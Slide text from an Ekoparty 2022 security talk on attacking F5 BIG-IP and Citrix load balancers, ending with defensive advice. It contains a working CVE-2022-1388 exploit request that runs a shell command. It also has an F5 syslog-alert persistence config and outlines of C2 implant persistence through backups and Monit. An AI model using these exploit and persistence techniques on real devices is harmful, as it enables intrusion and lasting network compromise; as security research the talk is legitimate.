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AGENDA

➢ BACKGROUND & MOTIVATION

➢ EXPLOITING LOADBALANCERS

➢ RUSSIA HAS ENTERED THE CHAT

➢ BY DESIGN != GOOD DESIGN

➢ I AM BECOME APT

➢ OWNER OF YOUR NETWORK

➢ HACKING THE COMPETITION

➢ CLOSING THOUGHTS
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➢ CTI LEAGUE FOUNDER

➢ NETWORK HACKER

➢ SECURITY RESEARCHER

➢ F5 NETWORKS – 10YRS

➢ MICROSOFT (MSRC, DEFENDER)

➢ NOT A RED TEAMER

➢ TWITTER: @N0X08

BACKGROUND
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MOTIVATION

Opportunity 
to do 
offensive 
research 

Citrix vuln 
from 2019  
started CTI 
League

F5 DFIR for 
Microsoft & 
CTIL

Mandiant 
report 
inspired me

Nobody 
seems to 
understand 
this space
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A BRIEF HISTORY OF LOADBALANCER EXPLOITS

➢ [F5] CVE-2012-1493 – ROOT SSH KEY EXPOSED

➢ [CITRIX] CVE-2019-19781 - ..;/ PATH TRAVERSAL → UL/DL

➢ [F5] CVE-2020-5902 - ..;/ PATH TRAVERSAL → ADMIN API

➢ [F5] CVE-2022-1388 – HEADER TAMPERING → ADMIN SHELL

➢ WIDESCALE EXPLOITATION WITHIN HOURS/DAYS

➢ EXPLOITS FIT IN A TWEET
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CVE-2022-1388 EXPLAINED

➢ HTTPS://ADMIN@10.13.37.159/MGMT/TM/UTIL/BASH

➢ -H 'CONTENT-TYPE: APPLICATION/JSON'

➢ -H 'REFERRER: 127.0.0.1'

➢ -H 'HOST: LOCALHOST'

➢ -H 'AUTHORIZATION': 'BASIC YWRTAW46AG9YAXPVBJM=‘ (ADMIN:HORIZON3)

➢ -H 'CONNECTION: CLOSE, X-F5-AUTH-TOKEN' \

➢ -H 'X-F5-AUTH-TOKEN: -' \

➢ --DATA '{"COMMAND": "RUN" , "UTILCMDARGS": " -C ID" }' 
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Don’t do this!

Or this!



UNC3524: EYE SPY ON YOUR EMAIL (MANDIANT)

➢ Corporate espionage threat actor
➢ Likely Russian; techniques overlap APT28 & APT29

➢ “SANs, load balancers running BSD or CentOS”
➢ F5 management OS is CentOS

➢ Citrix uses FreeBSD
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MUCH LEET. VERY HACK. HOLD MY BEER.

No persistence

Their malware wouldn’t 
survive an upgrade

Strangely inept for an APT

I can develop better methods 
than UNC3524

Unreliable

Web shell required to 
restart their implants

Weird tooling flex

Why write your own tools if 
better, OSS ones exist?
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RECON
SEE ALSO:

READING VENDOR DOCUMENTATION AND

EXPLOITING POOR DESIGN CHOICES
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TL;DR - LOAD BALANCERS

➢NETWORKING HARDWARE $$$$$

➢DEPLOYED IN FAILOVER PAIRS (THINK HSRP)

➢L4-7 LB, WAF, VPN, DNS LOAD BALANCING

➢SSL/TLS OFFLOADING

➢GENERALLY HAVE FULL NETWORK ACCESS

➢MISSION CRITICAL & FREQUENTLY OUTDATED CODE

➢FIRMWARE IS A FULL OPERATING SYSTEM

➢PROPRIETARY; NO EDR OR AV
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INTERNAL COMPONENTS & MANAGEMENT

➢ DATA PLANE – PROPRIETARY VENDOR CODE

➢ CONTROL PLANE: CENTOS (F5) OR FREEBSD (CITRIX)

➢ STRIPPED DOWN OS VERSIONS (NO BUILD TOOLS)

➢ LDAP TOOLS, SMB, NETCAT, CRON, TCPDUMP

➢ MANAGEMENT VIA GUI (MOST USERS) OR SSH

➢ FULL SHELL ACCESS IS AN ATTACK SURFACE

➢ CONFIGURATION & SSL CERTS STORED ON FILESYSTEM

➢ F5 IN /CONFIG

➢ CITRIX IN /NSCONFIG
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DEVICE CAPABILITIES

➢ DATA PLANE CONFIG IS SHARED

➢ CHANGES EASILY DETECTED

➢ DANGEROUS TO MODIFY

➢ CONTROL PLANE CONFIGS ARE UNIQUE

➢ LESS DETECTABLE

➢ REMOTE AUTHENTICATION & LOGGING

➢ NEARLY ALL NETWORK PROTOCOLS

➢ SIP/VOIP, 5G, DYNAMIC ROUTING

➢ HTTP HEADER MODIFICATION

➢ [F5] IRULE TCL/TK TRAFFIC MANIPULATION
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QUESTIONABLE DESIGN CHOICES

➢ GUI+SSH DEFAULT ENABLED ON ALL DEVICE IPS

➢ FULL INTERACTIVE BASH SHELL

➢ MANAGEMENT & TRAFFIC PLANES SHARE ROUTES

➢ MULTIPLE BY-DESIGN METHODS TO RUN SCRIPTS

➢ ON STARTUP & CONFIG INSTALL

➢ ON FAILOVER STATE CHANGE

➢ SYSLOG MESSAGES (SERIOUSLY)

➢ CONFIGS ARE STORED IN A TAR FILE

➢ HUGE DIRECTORY STRUCTURE

➢ ZERO INTEGRITY CHECKS ON STORED FILES
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UPGRADE-PROOF IMPLANTS

➢ UCS ARCHIVE IS A .TAR.GZ

➢ UPGRADE PROCESS:

➢ USES DIFFERENT BOOT LOCATION

➢ INSTALL NEW OS / PATCH

➢ CREATE UCS OF EXISTING BOOT CONFIGURATION

➢ COPY ARCHIVE TO NEWLY INSTALLED LOCATION

➢ UNPACK OLD CONFIG AS NEW CONFIG

➢ UCS ALSO USED FOR DEVICE BACKUPS

➢ /SHARED PARTITION ACROSS ALL BOOT SLOTS

Ekoparty - November 3rd, 2022
14



PERSISTENCE THE EASY WAY
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/config/user_alert.conf

alert restjavad_startup_delay "monitor status down" {
exec command="/config/failover/restjavad_runner";
}

/config/failover/[active,standby,tg*]

tmsh run util bash -c /config/failover/restjavad_runner



HACK ALL THE THINGS GET ALL THE MONEY

➢ I USED CVE-2022-1388, A SCRIPT* AND SLIVER C2

➢ *FROM F5’S KNOWLEDGE BASE

➢ ONE SCRIPT TO RULE THEM ALL

➢ CHECK FOR IMPLANT; IF NOT FOUND DOWNLOAD

➢ COULD STORE IMPLANT IN BACKUP IF NEEDED

➢ BYPASS FILESYSTEM “SECURITY”

➢ PREVENTS NOISY C2
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DEMO 1: SYSLOG PERSISTENCE
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ARCHITECTURE ALLOWS PIVOTING

Ekoparty - November 3rd, 2022
18

➢ BIG-IP DOESN’T ALLOW SERVER EGRESS BY DEFAULT

➢ REQUIRES SNAT ON EGRESS INTERFACE

➢ SLIVER PIVOTS ALLOW CHAINS OF IMPLANT CONNECTIONS

➢ F5 LETS YOU BIND C2 LISTENER TO FAILOVER IP

➢ INTERFACE ACLS CAN BE MODIFIED W/O ALERTING ADMINS

➢ ANY DEFAULT GATEWAY WILL ROUTE C2

➢ THIS IS A COMMON DESIGN

➢ JUNIPER, CITRIX, A10



DEMO 2: INFECTED BACKUPS

➢ FULL ARCHIVES ARE DANGEROUS

➢ F5 & CITRIX HAVE FLAT TEXT CONFIGS

➢ THAT NOBODY USES

➢ ABUSED SCRIPTS ARE INCLUDED IN CONFIG BACKUP

➢ /CONFIG/STARTUP

➢ /CONFIG/FAILOVER/*

➢ /CONFIG/USER_ALERT.CONF

➢ INSTALLATION WILL RUN A FAILOVER SCRIPT

➢ INFECT ALL OF THEM FROM ORBIT

➢ IT’S THE ONLY WAY TO BE SURE
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DEMO 3: PWN THE NETWORK





THIS IS NOT A PLACE OF HONOR
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➢ CITRIX HAS THE SAME DESIGN FLAWS (THOUGH LESS OF THEM)

➢ FULL INTERACTIVE SHELL

➢ CONFIG BACKUPS IN ARCHIVE; NO INTEGRITY CHECKS

➢ AGAIN, COULD STORE IMPLANT IN BACKUP IF NEEDED

➢ NEEDED AN ABUSABLE BUILT-IN SERVICE

➢ DOWNLOAD C2, EXECUTE & KEEP IT RUNNING

➢ MUST REMAIN INVISIBLE TO GUI USERS

➢ LIMITED NUMBER OF CUSTOMIZABLE FILES...

➢ DAEMON CONFIGS (SSH, HTTP, SYSLOG, ETC.)

➢ CRONTAB .. TOO EASY

➢ NTPD_CTL IN THE USER MANUAL..

➢ ..INTERESTING



NO HIGHLY ESTEEMED DEED IS COMMEMORATED HERE

➢ RC.NETSCALER FILE DOESN’T LET YOU RUN SCRIPTS

➢ NTPD_CTL → MANY *_CTL SCRIPTS IN /ETC

➢ USED BY MONIT TO START/STOP/WATCHDOG SERVICES – W00T!

➢ MONITRC ON THE LIST OF CUSTOMIZABLE FILES – W00T X 2!

➢ WROTE A SERVICE WRAPPER FOR SLIVER

➢ SAME LOGIC AS F5 LOADER

➢ MONIT MANAGES C2 IMPLANT

➢ STARTS ON BOOT

➢ MAKES C2 UNKILLABLE
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NOTHING VALUED IS HERE

Ekoparty - November 3rd, 2022
24



IT’S DANGEROUS TO HACK ALONE: LAB 101

➢ F5 GIVES AWAY VIRTUAL EDITION VM'S FOR ALL MAJOR HYPERVISORS

➢ INCLUDING VULNERABLE VERSIONS!

➢ USE A THROWAWAY EMAIL

➢ 30-DAY DEMO LICENSES

➢ ISO IMAGES

➢ GOOD FOR VULN RESEARCH

➢ TESTING COMPILED TOOLS

➢ CITRIX ALSO HAS VMS

➢ NO VULN VERSIONS 

➢ NO TRIAL LICENSE NEEDED
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KEY TAKEAWAYS

➢ THESE TECHNIQUES WILL WORK ON ANY DEVICE WITH A FULL SHELL

➢ ADVANCED ACTORS HAVE BARELY SCRATCHED THE SURFACE

➢ SYSTEM COMPLEXITY GIVES ATTACKERS THE ADVANTAGE

➢ BLACK BOX VENDOR SOLUTIONS HAVE DESIGN FLAWS

➢ STEPS YOU CAN TAKE:

➢ SECURITY 101: PATCH, FIREWALL, LOGS, CONFIG SNAPSHOTS

➢ MONITOR CONFIG FILESYSTEMS FOR NEW FILES / SIZE CHANGES

➢ USE DEVICES WITH RESTRICTED SHELLS

Ekoparty - November 3rd, 2022
26



THANK YOU
@N0X08


